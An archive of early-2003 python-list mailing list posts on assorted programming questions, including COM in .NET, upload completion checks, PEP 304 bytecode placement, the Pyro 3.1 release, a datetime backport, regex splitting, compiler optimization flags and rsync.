Subject: Python vs .Net
References: <mailman.1041765407.27348.python-list@python.org>
Message-ID: <av9n65$8bg$1@news-reader10.wanadoo.fr>

>>> Nope. COM/DCOM is not part of .NET. This is an interoperability layer to
allow .NET applications to use COM components though.
COM est au coeur de .NET, et est omnipr?sent (partout) dans .NET

@+
--
Michel Claveau





From andrew at indranet.co.nz  Tue Jan 14 12:41:40 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Wed, 15 Jan 2003 06:41:40 +1300
Subject: Check for file access
In-Reply-To: <9f363ad9.0301140656.29fe0838@posting.google.com>
References: <9f363ad9.0301140656.29fe0838@posting.google.com>
Message-ID: <330010000.1042566100@localhost.localdomain>

--On Tuesday, January 14, 2003 06:56:29 -0800 Brian Bull 
<bbull at pathfire.com> wrote:

> I am writing a daemon to monitor file uploads and mirror the files to
> another server once they have been uploaded.  The files will be
> uploaded via Windows filesharing onto my Redhat server that is running
> Samba.  How can I tell when the file is complete and is ready for
> copying?
>
> I am using a kernel module called 'changedfiles' that alerts me when a
> file is changed.  The only problem is this modules alerts me when the
> file operation begins, not when it ends.  The files that will be
> uploaded are CD images so they will be very large, so I have to have
> some sort of way to "wait" until the file is complete.
>
> I have tried opening the file (with read and write permission), but
> that cancels the upload process.  I guess Windows loses the access to
> the file once the server grabs it.
>
> I have also tried checking the size of the file, but that doesn't work
> because the complete size is reported from the first second the file
> is being uploaded.
>
> Any help here would be really appreciated.  If I am not describing
> this well, let me know and I will try to elaborate more.
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>

Wait until the fuser command (not python function, system command) no 
longer shows any task using that file.  The technique it uses is 
complicated (and brute force), so replicating it in python would be quite a 
bit of work.

Andrew




From vecernik at aon.at  Fri Jan 17 06:52:23 2003
From: vecernik at aon.at (Oliver Vecernik)
Date: Fri, 17 Jan 2003 12:52:23 +0100
Subject: Introduction object-oriented programming
References: <b08ank$dak12@imsp212.netvigator.com>
Message-ID: <3E27EE77.1060400@aon.at>

Wouter van Marle schrieb:
> Hi All,
> 
> Can anyone recommend me an introduction on object oriented programming in
> general, and the trick in Python? Preferrably tutorial on the web or so.
> 
> I know the basics of programming (learned BASIC 20 years ago, Turbo Pascal
> 10 years ago, and recently started Python - never used objects, never used
> C, and always hobbying. Also a little experience with .BAT and shell
> scripts). So should be a tutorial extending normal programming to the
> objects.
> 
> Without the objects it goes fine, however I have the idea that objects can
> make things a lot easier - both in design, implementation and maintenance.
> And now I started off seriously again in an era where object oriented
> programming is pretty much standard, it is time for me to learn it too! (so
> I finally understand the mysterious self variable, the __init__ routine, and
> more of those things)

I definitely recommend reading 'Learning Python' from Mark Lutz & David 
Ascher published by O'Reilly. It's not a tutorial on the web, but 
explains things really good (no, I do not participate).


HTH
Oliver




From robin at jessikat.fsnet.co.uk  Wed Jan  8 19:14:21 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 9 Jan 2003 00:14:21 +0000
Subject: "%s" vs unicode
References: <1GtMGLAYnyG+Ew34@jessikat.demon.co.uk>
 <m3u1gkwvui.fsf@mira.informatik.hu-berlin.de> <3e1c3d59$1@news.fhg.de>
Message-ID: <pvtbMLAd7LH+Ewud@jessikat.fsnet.co.uk>

In article <3e1c3d59$1 at news.fhg.de>, Gerd Woetzel <woetzel at gmd.de>
writes
....
><imho>
>Unfortunately the "general principle" is wrong.
>There is a canonical embedding of Unicode strings into byte strings (which
>is UTF-8) but no canonical embedding of byte strings into Unicode strings.
>Hence it should be vice versa.
></imho>
>
>Its a real shame that I have no acces to the bvd's time machine :-)
>
>Regards,
>Gerd
I'm fairly sure I agree with you, but time travel will make criminals of
us all
-- 
Robin Becker



From gerrit at nl.linux.org  Sat Jan 11 10:33:41 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Sat, 11 Jan 2003 16:33:41 +0100
Subject: Module Is Not Callable
In-Reply-To: <5.1.0.14.0.20030111105249.021bec00@mail.thewebsons.com>
References: <5.1.0.14.0.20030111105249.021bec00@mail.thewebsons.com>
Message-ID: <20030111153341.GA2630@nl.linux.org>

beno schreef op zaterdag 11 januari om 16:06:35 +0000:
> Subject: Module Is Not Callable
> Hi;
> I have tested the following script and it works as long as I input it into 
> the command prompt. But when I try and write it to a script, then call the 
> script, I get the following error:
> 
> >>> import test
> >>> import string
> >>> test()
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> TypeError: 'module' object is not callable
> 
> Why?
> TIA,

A module is not supposed to be callable. A module is executed when it is
imported. Use execfile to execute a file without importing the module.

More information on modules:
http://www.python.org/dev/doc/devel/tut/node8.html (read this first)
http://www.python.org/dev/doc/devel/ref/import.html#l2h-358

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From skip at pobox.com  Tue Jan 14 11:22:20 2003
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 14 Jan 2003 10:22:20 -0600
Subject: OT: spam filtering idea
In-Reply-To: <15908.14030.608547.989139@montanaro.dyndns.org>
References: <mailman.1042490665.8620.python-list@python.org>
        <b0138l$5t1$1@verence.demon.co.uk>
        <15908.14030.608547.989139@montanaro.dyndns.org>
Message-ID: <15908.14652.169245.834783@montanaro.dyndns.org>

    Skip> ... Recent case in point, lots of spam coming from
    Skip> "big at boss.com"...

Which I now learn is a new virus spreading through the Windows/Outlook
community.

S




From skip at pobox.com  Wed Jan 29 22:12:12 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 29 Jan 2003 21:12:12 -0600
Subject: PEP 304 - Controlling generation of bytecode files
In-Reply-To: <1043894661.14076.16.camel@lothlorien>
References: <15925.46655.439046.717944@montanaro.dyndns.org>
        <1043731567.29624.81.camel@lothlorien>
        <15928.10039.718507.665701@montanaro.dyndns.org>
        <1043894661.14076.16.camel@lothlorien>
Message-ID: <15928.38924.791809.674107@montanaro.dyndns.org>

    >> That outdated .pyc file will get imported.  It's your responsibility
    >> to manage your directory tree properly.  If you think this is a bug,
    >> please file a report on SF (though I don't whoever responds will
    >> consider it a bug).

    Ian> Well, it's somewhat of a bug with the current behavior (IMHO), or
    Ian> at least error-prone, but the bug could be *much* worse if you have
    Ian> pyc files separate from the py files.

Good point.  I will take that into consideration.  Here's a thought off the
top of my head.  (sys.bytecodebase refers to the base of the tree for
writing pyc files and defaults to "/" on Unix.)  To make it a concrete
example, assume that sys.bytecodebase is "/tmp/skip" and consider urllib.py,
located in /usr/lib/python2.3/urllib.py.  The corresponding .pyc files (.pyo
is analogous), can only appear in two places:

    /usr/lib/python2.3/urllib.pyc 

or

    /tmp/skip/usr/lib/python2.3/urllib.pyc 

We always look for the former before the latter.  Suppose the former version
doesn't exist.  We are left with these two files:

    /usr/lib/python2.3/urllib.py
    /tmp/skip/usr/lib/python2.3/urllib.pyc 

While /tmp/skip/usr/lib/python2.3/urllib.pyc is in a different directory
than /usr/lib/python2.3/urllib.py, it's still tied to it.  That is, we need
to make sure it corresponds date-wise with the source file.

Considering the no-source case, suppose we delete
/usr/lib/python2.3/urllib.py, but not
/tmp/skip/usr/lib/python2.3/urllib.pyc.  In this case, we will never even
consider the .pyc file because we never found a corresponding source file in
/usr/lib/python2.3.

To say it another way, I'm *not* proposing that for every directory in
sys.path we add a directory prefixed by the sys.bytecodebase.  That would
make them independent.  The directories in sys.bytecodebase are intimately
associated with the directories listed in sys.path, but completely dependent
on the entries in sys.path.

    Ian> I think the more appropriate behavior would be, at least if
    Ian> bytecodebase was being used, that the .pyc files would only be
    Ian> loaded from that location if the corresponding .py file existed.

Correct.  That is the intention.  I will clarify this in the PEP.

    Ian> I'm not sure if the PEP addressed that either -- if you have a
    Ian> search path with /foo, and a bytecodebase of /pyc, and there's no
    Ian> /foo/bar.py or /pyc/foo/bar.pyc (or /pyc/bar.pyc? either way I
    Ian> guess), then if there's a /foo/bar.pyc will it be found?

Yes.  That's the case today and it won't change tomorrow.  The current
proposal only comes into play when no .pyc file is found in a directory in
sys.path (call it sys.path[i]), but a .py file is.  If that's the case the
directory containing the .py file is prefixed by sys.bytecodebase and an
extra probe is made for a .pyc file.  If none is found, the .py file is
compiled and a .pyc file is written to the directory specified (roughly) by
os.path.join(sys.bytecodebase, sys.path[i]).  If you have no source code,
but an appropriate .pyc file exists within sys.path[i] it will get loaded.

Skip





From ashleylloyd at hotmail.com  Fri Jan  3 11:05:34 2003
From: ashleylloyd at hotmail.com (Ashley)
Date: 3 Jan 2003 08:05:34 -0800
Subject: Retrieving formatted date from Interbase DB into Zope
Message-ID: <64bbc67.0301030805.71b023d0@posting.google.com>

I am attempting to use KinterbasdbDA.1.0 to connect from a Zope
installation (Zope 2.5.1, Python 2.1.3, on Win 2k) to an Interbase
database.

I have a problem with retrieving any data of type date. It only seems
to want to format the date as yyyy-mm-dd HH:MM:SS.ss. Any attempt to
force the format (eg. fmt="aCommon", fmt="%d/%m/%Y") results in an
error like:

Error Type: TypeError
Error Value: not enough arguments for format string

or

Error Type: TypeError
Error Value: not all arguments converted

Can anyone suggest a way around this? I'm sure there is one, I just
can't find it!?!

Thanks in advance

Ashley



From tim.one at comcast.net  Wed Jan 29 20:13:20 2003
From: tim.one at comcast.net (Tim Peters)
Date: Wed, 29 Jan 2003 20:13:20 -0500
Subject: [win32all]: Problem With Win98
In-Reply-To: <brp91b.9g02.ln@boundary.tundraware.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEDIDLAB.tim.one@comcast.net>

[Tim Daneliuk]
> The following call works fine when applied to a Win 2000 machine, but
> fails as shown when applied to a Win 98 machine.  I realize that there
> is a world of difference between older and newer Win implementations
> viz security, but I would have thought the API would hide these
> differences.

Why <wink>?  If you had searched for GetFileSecurity via google, the top hit
would have taken you to the MSDN docs for the function, and at the bottom of
the page you would have seen:

"""
Windows NT/2000/XP: Included in Windows NT 3.1 and later, Windows 2000,
    Windows XP, and Windows Server 2003 family.
Windows 95/98/Me: Unsupported.
Unicode: Implemented as Unicode and ANSI versions.
Header: Declared in Winbase.h; include Windows.h.
Library: Use Advapi32.lib.
"""

> Anyone have any ideas on what the problem might be here (M: is a
> Win98 shared disk space - command was issued from a PythonWin
> session running on a Win 2000 machine):

As above, the function doesn't exist on Win9x.  You can hardcode that
knowledge, or sniff at DLLs for function existence, or decide not to support
Win9x, or just about anything else -- except for what you want.





From cezary at bigfoot.com  Fri Jan 24 02:11:33 2003
From: cezary at bigfoot.com (CezaryB)
Date: Fri, 24 Jan 2003 08:11:33 +0100
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <7xadhrh3a6.fsf@ruckus.brouhaha.com>
Message-ID: <3E30E725.4070305@bigfoot.com>

Paul Rubin wrote:
> "Michael Tiller" <mtiller at ford.com> writes:
> 
> 
> Tim Peters suggested one a few days ago:
> 
>    if [match for match in [re.match(pattern,string)]][0]:
>         # do something with match object


No, he was afraid of it. :-)

Mixing test with assigment is considered bad style in C/C++ and othen 
indicates an error.

CB




From sholden at holdenweb.com  Wed Jan 15 09:42:49 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Wed, 15 Jan 2003 14:42:49 GMT
Subject: Detect when a class member is updated
References: <67446a0a.0301150634.f6d0c43@posting.google.com>
Message-ID: <JreV9.3050$YI5.839@news2.central.cox.net>

"Boethius" <boethius at techie.com> wrote in message
news:67446a0a.0301150634.f6d0c43 at posting.google.com...
> Can I detect when a class member is added or updated?
>
> I have a class with a member called path. Everytime it's updated, I'd
> like to run a 'sanity check' on the new value.
>
> How can I do this?

Take a look at "setattr()" generally, and the __setattr__() special method
inparticular. This allows you to trap access to attributes.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Sat Jan 25 11:49:53 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Sat, 25 Jan 2003 17:49:53 +0100
Subject: Pyro 3.1 released
Message-ID: <3e32c032$0$49108$e4fe514c@news.xs4all.nl>

I'm glad to announce the latest version of Pyro: 3.1!
You can get it via http://pyro.sourceforge.net, then go
to the SF project homepage download area.

This is the second release in the V3 series.
Pyro 3.0 was a big improvement over 2.8, and 3.1 is better still.

What's new since 3.0:
* Rewrote the Event Server. Finally the long standing crash problem in
 a busy multithreaded scenario has been fixed.
* Improved documentation even more.
* Proxies can now be pickled and tossed around in your Pyro system.
* Support added for PyXML's xml-pickler. Faster than Gnosis Tools XML pickler.
* New SynchronizedObjBase base object.
* CallbackObjBase improvements.
* Added and improved some examples.


What is Pyro?
Pyro is an acronym for PYthon Remote Objects. It is a basic Distributed
Object Technology system written entirely in Python.

It is extremely easy to implement a distributed system with Pyro, because
all network communication code is abstracted and hidden from your
application. You just get a remote Python object and invoke methods
on the object on the other machine.

Pyro offers you a Name Server, an Event Service, mobile objects, remote
exceptions, dynamic proxies, remote attribute access, automatic
reconnection, a very good and detailed manual, and many examples to get
you started right away.

Have fun!
Irmen de Jong.




From mertz at gnosis.cx  Thu Jan 23 01:50:22 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Thu, 23 Jan 2003 01:50:22 -0500
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com>
 <6e07b825.0301222200.522fbbde@posting.google.com>
Message-ID: <uC5L+kKkXkjL092yn@gnosis.cx>         

|> For my own (very unscientific) study, I did a simple search on the
|> following in the Chicago Tribune's on-line ads:

OK... my totally scientific, irrefutable proof of the relative... umm,
usage, or usefulness, or popularity, or buzz, or hype, or jobs, or LOC,
or something... of different programming languages:

  google.com/search?q=python+programming           630k pages
  google.com/search?q=perl+programming             1.7M pages
  google.com/search?q=java+programming             2.4M pages
  google.com/search?q=%22C%23%22+programming       424k pages
  google.com/search?q=%22C%2B%2B%22+programming    2.0M pages
  google.com/search?q=C+programming                4.1M pages
  google.com/search?q=Visual+Basic+programming     1.5M pages
  google.com/search?q=Cobol+programming            244k pages

Yours, Lulu...

--
 mertz@  _/_/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY: \_\_\_\_    n o
gnosis  _/_/             Postmodern Enterprises            \_\_
.cx    _/_/                                                 \_\_  d o
      _/_/_/ IN A WORLD W/O WALLS, THERE WOULD BE NO GATES \_\_\_ z e





From i.linkweiler at web.de  Mon Jan 27 07:22:53 2003
From: i.linkweiler at web.de (Ingo Linkweiler)
Date: Mon, 27 Jan 2003 13:22:53 +0100
Subject: BDE / ODBC with Python ?
Message-ID: <3E35249D.8010008@web.de>

Hello,

Is it possible to connect to a Borland Database (BDE ->
Borland database engine) ? What module can I find to do it ?

I did not found any BDE module for Python at Vaults of Parnassus.

Can I use "adodbapi" (http://py.vaults.ca/apyllo.py?i=299406283) or any 
other ODBC-module to access BDEs ?

(PS: Sorry for my first (german) posting, I forgot to translate)




From warkid at hotbox.ru  Wed Jan 22 10:34:47 2003
From: warkid at hotbox.ru (Kerim)
Date: 22 Jan 2003 07:34:47 -0800
Subject: License of code in Guido's essays(http://www.python.org/doc/essays/).
Message-ID: <7c58a0f1.0301220734.4c8627e6@posting.google.com>

I don't want to bother Guido van Rossum so this question is to this
group.
I'd like to use(in commercial product) code for, say, find_path
function written in "Implementing
Graphs"(ttp://www.python.org/doc/essays/graphs.html). Surely I can
reimplement this code by myself, but what if I have no time for the
moment.
Is it enough put thanks to Guido in the product for this code(yes,
thanks for the whole Python are much bigger, but anyway)?

Kerim.



From mwm at mired.org  Wed Jan  8 11:03:32 2003
From: mwm at mired.org (Mike Meyer)
Date: Wed, 08 Jan 2003 16:03:32 GMT
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com> <VfDS9.4230$Fj2.2514015@news2.news.adelphia.net> <x7heckyeti.fsf@guru.mired.org> <776e0325.0301080535.121f3c93@posting.google.com>
Message-ID: <x7fzs3wrw3.fsf@guru.mired.org>

genericax at hotmail.com (Sara) writes:

> Mike Meyer <mwm at mired.org> wrote in message news:<x7heckyeti.fsf at guru.mired.org>...
> > "Robert Oschler" <Oschler at earthlink.net> writes:
> > > I can't look at dice.com anymore, too depressing.  Some appx stats:
> > > 
> > > Date    C++ jobs    Java jobs
> > > 3/2000    42000    31000
> > > 10/2003    2200    2800
> > Ok, where did you get the numbers for October 2003? Or is that 1/2003
> > or 10/2002?
> Sorry Mike this is all of the data I have. A friend emailed me this
> table in a message and that's what I got. He wanted to "rub it in"
> about how I'm "wasting my career" with Perl, PHP, and Python.

I guess your friend has a time machine. If VB can do that, maybe it's
worth a look!

> The way I look at it, if I was an artiste and everyone was working in
> fingerpaints, I'd stil rather work in oils if that was the medium I
> preferred. ASP is the fingerpaint, Perl is oils. Hope my ears survive
> this quest!

I know the feeling. I'd rather do something I enjoy - and if that
means not working with computers rather than write C++ or work on
Windows, so be it.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From postmaster at 127.0.0.1  Mon Jan 13 01:35:01 2003
From: postmaster at 127.0.0.1 (marius)
Date: Mon, 13 Jan 2003 07:35:01 +0100
Subject: Convert g3 faxes to ps/pdf
References: <avtael$ofv4@imsp212.netvigator.com>
Message-ID: <MPG.188c7c84d11207f89896bd@newszilla.xs4all.nl>

> I am fiddling a bit with mgetty+sendfax, writing a program in Python as
> front-end.
> 
> These programs send and receive their faxes as g3 format, which is fine for
> that purpose. For viewing and storing I want them as ps or pdf file! (to
> convert between those two is trivial with ps2pdf).
> 
> Any clue on how to convert from g3 to ps? (or where I could ask this
> question)
> I tried fax2ps (from libtiff-progs), doesn't work - complains that it does
> not know the g3 file (is not a tiff file).
> 
> I don't mind to have to use a few steps - e.g. g3 --> tiff --> ps --> pdf.

A simple search of:
http://www.google.com/searc
h?q=convert%20g3%20tiff%
20pdf&sourceid=mozilla-
search&start=0&start=0
&ie=utf-8&oe=utf-8

brought me to:
http://fax2pdf.sourceforge.
net/

Another convert environment 
is:
http://www.imagemagick.org



From peterm at resmed.com.au  Sun Jan  5 14:59:24 2003
From: peterm at resmed.com.au (Peter Milliken)
Date: Mon, 6 Jan 2003 06:59:24 +1100
Subject: Printing
References: <Pine.LNX.4.33L2.0301021351090.3730-100000@cyryl.slcj.uw.edu.pl> <av1dcn$v3fk5$2@hades.rz.uni-sb.de> <Pine.OSF.4.21.0301021542010.25296-100000@jasio.slcj.uw.edu.pl> <av1sbr$t3f04$1@hades.rz.uni-sb.de>
Message-ID: <H70S9.7$YG2.487@nnrp1.ozemail.com.au>

I had the same problem when I wrote an app using Python and Tkinter - the
same routes were opened when I searched for platform independent printing
and I wasn't happy with any of them.

This is one of the reasons I have started to explore Jython - it allows you
to write your application in Python and use the Java VM and libraries i.e.
Java Swing for the GUI and then print using Java print
libraries/techniques - about the most platform independent method I have
found todate :-)

Hope this helps,
Peter


"Uwe Schmitt" <uwe.schmitt at procoders.net> wrote in message
news:av1sbr$t3f04$1 at hades.rz.uni-sb.de...
> Pawel J. Maczewski <pjmacz at slcj.uw.edu.pl> wrote:
> > On 2 Jan 2003, Uwe Schmitt wrote:
>
> >> Pawel J. Maczewski <pjmacz at slcj.uw.edu.pl> wrote:
> >> > Hi,
> >> >   I have a question: how to print (sic!) in python (I use wxPy). The
point
> >> > is, that is should be os-independent :) I can generate the data to
print
> >> > in XML, HTML, PS... how to print it under windows? ;)
> >>
> >> And I forgot another method: make a copy of a file, e.g. a ps-file,
> >> to the file "prn:". This will work if your printer is connected
> >> to your computer immediatly.
>
> > But, it works only with Windows, AFAIR... Aren't there any
os-independent
> > solution?
>
> Shurely it works only with windows, but you asked for it...
>
> Greetings, Uwe.
>
> --
> Dr. rer. nat. Uwe Schmitt      Computer science is no more about
Computers,
> uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes.
(Dijkstra)
> http://www.procoders.net





From dkt at registriesltd.com.au  Wed Jan  1 18:00:17 2003
From: dkt at registriesltd.com.au (David K. Trudgett)
Date: Thu, 2 Jan 2003 10:00:17 +1100
Subject: convert currency to words
In-Reply-To: <3E126B21.14676D6D@alcyone.com>; from max@alcyone.com on Tue, Dec 31, 2002 at 08:14:25PM -0800
References: <ef7d69f2.0212302106.540d7e55@posting.google.com> <aus3kn$e81$2@mawar.singnet.com.sg> <v137rgmo3mobd5@corp.supernews.com> <mailman.1041343564.32398.python-list@python.org> <3E126B21.14676D6D@alcyone.com>
Message-ID: <20030102100017.A3527@regdp-02.intint.registriesltd.com.au>

On Tuesday 2002-12-31 at 20:14:25 -0800, Erik Max Francis wrote:

> Laura Creighton wrote:
> 
> > But  <snip> ...five hundred sixty-seven and quintillion,  ... <snip>
> > should be 'five hundred and sixty-seven quintillion', no?  Is there a
> > bug in the code or the pasting of the answer?
> 
> The way I learned my numbers, there shouldn't be an _and_ there at all. 
> _And_, we were told over and over again, was only for indicating the
> decimal point.  So 123 456 789 should be "one-hundred twenty-three
> million, four-hundred fifty-six thousand, seven-hundred eighty-nine." 
> 12.34 should be "twelve and thirty-four hundredths."
> 
> Different generations, I suppose, got taught different things, though.

Perhaps you need to consider that you're discussing how only one small
part of the world does it (i.e., USA). In other parts of the world,
"345.23", for example, is "three hundred and forty five point two
three".

David Trudgett






From db3l at fitlinxx.com  Fri Jan 10 12:41:25 2003
From: db3l at fitlinxx.com (David Bolen)
Date: 10 Jan 2003 12:41:25 -0500
Subject: YATOPS (Yet Another Thread on Python's Speed) (was Re: HELP! Must choose  language!)
References: <20030101042101.1615.84075.Mailman@mail.python.org> <mailman.1041471183.23600.python-list@python.org> <3E144BFC.399B8510@engcorp.com> <mailman.1041907216.30028.python-list@python.org> <b11d1191.0301080827.48643491@posting.google.com> <uu1gh6gz3.fsf@fitlinxx.com> <b11d1191.0301092004.2dc9509c@posting.google.com>
Message-ID: <uwulcnbqy.fsf@fitlinxx.com>

BranimirPetrovic at yahoo.com (Branimir Petrovic) writes:

> I would prefer using Python if script performance can be tweaked
> to get to within 1/2 or 1/3 of speed achievable using 'robocopy'. 
> You see robocopy.exe is part of so called Server Resource Kit, and 
> as such can not be freely distributed or used on all machines on
> the network (1 system 1 license is the motto), otherwise I wouldn't
> be shy to resort to simplest solution possible that gets the job 
> done.

By the way, if your end goal is simply directory synchronization
(e.g., duplication across systems and/or maintaining them in sync),
there are other alternative tools as well.  Although unrelated to
Python, I'd definitely suggest that you take a look at rsync - it's a
Unix derived tool, but runs fine under the Cygwin environment, so the
rsync.exe with the cygwin1.dll is all you need under Windows.  It's
great for a simple directory transfer, but it really shines if you
later need to ensure the systems are in sync, as it can compare the
directory trees and then for files that differ, only transmit the
delta information, so it minimizes bandwidth as well (at the cost of
computation time on each end, so you need to evaluate how applicable
to your environment it is).

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/



From mwh at python.net  Fri Jan 24 13:03:50 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 24 Jan 2003 18:03:50 GMT
Subject: Is that a memory leak ?
References: <3e307296$0$243$626a54ce@news.free.fr>
Message-ID: <7h3bs26xw5j.fsf@pc150.maths.bris.ac.uk>

"vonstroheim" <vonstroheim at my-deja.com> writes:

> I am using a windows debug 2.2.2 version and I observe the following
> behavior in the interactive interpreter:
> 
> if I repeatedly enter:
> class A(object):pass
> 
> the number of REFS raises and so does the value returned by
> len(gc.get_objects())
> (even if I use gc.collect())
> 
> but if i use a 'classic class' : 'class A: pass', no increasing is noticed.
> Is that OK or is it a memory leak ?

Err, I think Py_DEBUG implies COUNT_ALLOCS implies new-style classes
are immortal.  So nothing (particularly) untoward here.  If you see
problems in a release build, do shout.

Cheers,
M.

-- 
  Need to Know is usually an interesting UK digest of things that
  happened last week or might happen next week. [...] This week,
  nothing happened, and we don't care.
                           -- NTK Now, 2000-12-29, http://www.ntk.net/



From tim.one at comcast.net  Thu Jan 23 10:02:04 2003
From: tim.one at comcast.net (Tim Peters)
Date: Thu, 23 Jan 2003 10:02:04 -0500
Subject: datetime module for Python 2.2
In-Reply-To: <b0ot5j$9od$1@main.gmane.org>
Message-ID: <BIEJKCLHCIOIHAGOKOLHMEMOEJAA.tim.one@comcast.net>

[Donnal Walter]
> I am looking forward to using the new datetime module in Python 2.3, but
> until there is a stable version of wxPython for 2.3 I must stay
> with Python 2.2.2.
>
> Is there a pure Python version of the new datetime module (or portions
> thereof) that I could use for development on 2.2.2 until I am able upgrade
> to 2.3? (Yes, I know it would be slower than the C version, but that's ok
> for now.) Thanks.

Skip pointed you to the Python CVS sandbox.  A better place, over time, is
in Zope3's CVS tree.  Zope3 is in much the same boat as you, and I'm
maintaining a pure-Python workalike mostly for its benefit:

    http://cvs.zope.org/Zope3/src/datetime/

They're "compatible enough" that the same (extensive) test suite is used for
both, but I'm sure there are differences if you try hard enough; e.g.,
detailed inheritance of behaviors by subclasses is bound to differ, as
things that "just work" naturally when coding in Python can be a PITA to
make happen when coding in C, and there hasn't been (and won't be) enough
time to worry about that.

Note that the API is still changing (mostly having to do with time zone
conversions).





From cnetzer at mail.arc.nasa.gov  Mon Jan 27 20:39:58 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Mon, 27 Jan 2003 17:39:58 -0800
Subject: Why does int(5.0) returns 0
In-Reply-To: <x7lm16tded.fsf@guru.mired.org>
References: <mailman.1043645268.19110.python-list@python.org> <x7lm16tded.fsf@guru.mired.org>
Message-ID: <200301280139.RAA18057@mail.arc.nasa.gov>

On Monday 27 January 2003 14:50, Mike Meyer wrote:
> spatel <spatel at cinci.rr.com> writes:
> > glibc 2.3.1-r2 with pentium4 and -O3 optimization created this
> > mess. When I recompile glibc without optimization, it fix this
> > problem. Thank you very much for all of your help.
>
> The FreeBSD community generally considers gcc optimization levels
> 2 or greater to be broken. You might try it with just -O. That works
> fine here. Actually, I use "-O -pipe".

Also, the version of gcc matters.  I feel a lot more comfortable using 
-O3 w/ gcc3.2 (just because so far I haven't been burned by it; I was 
burned w/ gcc 2.95.[1.2] a couple times (once with optimization on, and 
once, bizarrely, when turning it off), just when compiling Python 
itself.)

In any case, "-Os -pipe" is often even (slightly) faster on modern 
processors, due to the importance of cache memory.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)




From mcfletch at rogers.com  Mon Jan 13 10:09:25 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Mon, 13 Jan 2003 10:09:25 -0500
Subject: python equiv of perl's split?
In-Reply-To: <m3k7h9p1p4.fsf@coco.kazmier.com>
References: <m3k7h9p1p4.fsf@coco.kazmier.com>
Message-ID: <3E22D6A5.7060202@rogers.com>

Here's a straightforward function to do the splitting as described if 
you wanted to code it yourself (you probably don't, but in case you ever 
wanted to (see below))...

import re

def split( pattern, string ):
    o = re.compile( pattern )
    result = []
    curResult = o.search( string )
    while curResult and string:
        start, stop = curResult.span(0)
        result.append(string[:start])
        result.append(string[start:stop])
        string = string[stop:]
        curResult = o.search( string )
    result.append( string )
    return result

s = "test:one:two:three"
print split( ':', s )

Here's the proper way to do it:

    re.split( '(:)', s )

(In general Python's re module follows Perl's re implementation, look 
there for perlisms :) ).  I would have thought this would work to, but 
it doesn't :( , re's suck :) .

    re.split( '(?=:)|(?<=:)', s )

Oh well, hope this helps,
Mike


pete-temp-12-29-2002 at kazmier.com wrote:

>Just wondering what the 'best' way of emulating perl's split() method
>when used in the following manner:
>
>     split /(:)/
>
>Basically, split the string using a colon as the separator.  NOTE: the
>parens indicate that the split function should *include* the colons in
>the returned list.  Thus, given the string:
>
>     test:one:two:three
>
>The following array (list) is returned:
>
>     test
>     :
>     one
>     :
>     two
>     :
>     three
>
>What would be the easiest way to emulate this in Python?
>
>Thanks,
>Pete
>
>  
>

-- 
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From phr-n2003b at NOSPAMnightsong.com  Fri Jan 31 03:31:08 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 31 Jan 2003 00:31:08 -0800
Subject: In continuing of my question...
References: <f918ac11.0301300759.4ac814bc@posting.google.com> <3a2j3vk8qgtqrm0mfrlvahfcl0pso5cf6r@4ax.com> <b1d6cq$175p$1@bull.east.ru>
Message-ID: <7xk7gl7mb7.fsf@ruckus.brouhaha.com>

"Nicolay Vasiliev" <N.Vasiliev at apatit.com> writes:
> Does Python have any reporting system (maybe as third party tool)? And could
> I export data to MS applications (ie, MS Excel)?

You mean something like this?

http://sourceforge.net/projects/reportlab

or

http://www.reportlab.com



From paul at boddie.net  Wed Jan 22 08:22:45 2003
From: paul at boddie.net (Paul Boddie)
Date: 22 Jan 2003 05:22:45 -0800
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <mailman.1043128786.32145.python-list@python.org> <45qp2v0488fss981maanr3f2nr6a9as48m@4ax.com>
Message-ID: <23891c90.0301220522.2bd1720@posting.google.com>

Afanasiy <abelikov72 at hotmail.com> wrote in message news:<45qp2v0488fss981maanr3f2nr6a9as48m at 4ax.com>...
> 

[Per-directory content inclusion]

> Not from what I have seen. I even imagine implicit vs. explicit would
> cause many Python programmers to love writing cascading header/footer
> includes and custom error handling on every new page, even if via paste.

You're really milking this "implicit vs. explicit" thing, but
actually, even those frameworks which do this using mix-ins and
methods, for example, are avoiding copy/paste by encouraging such
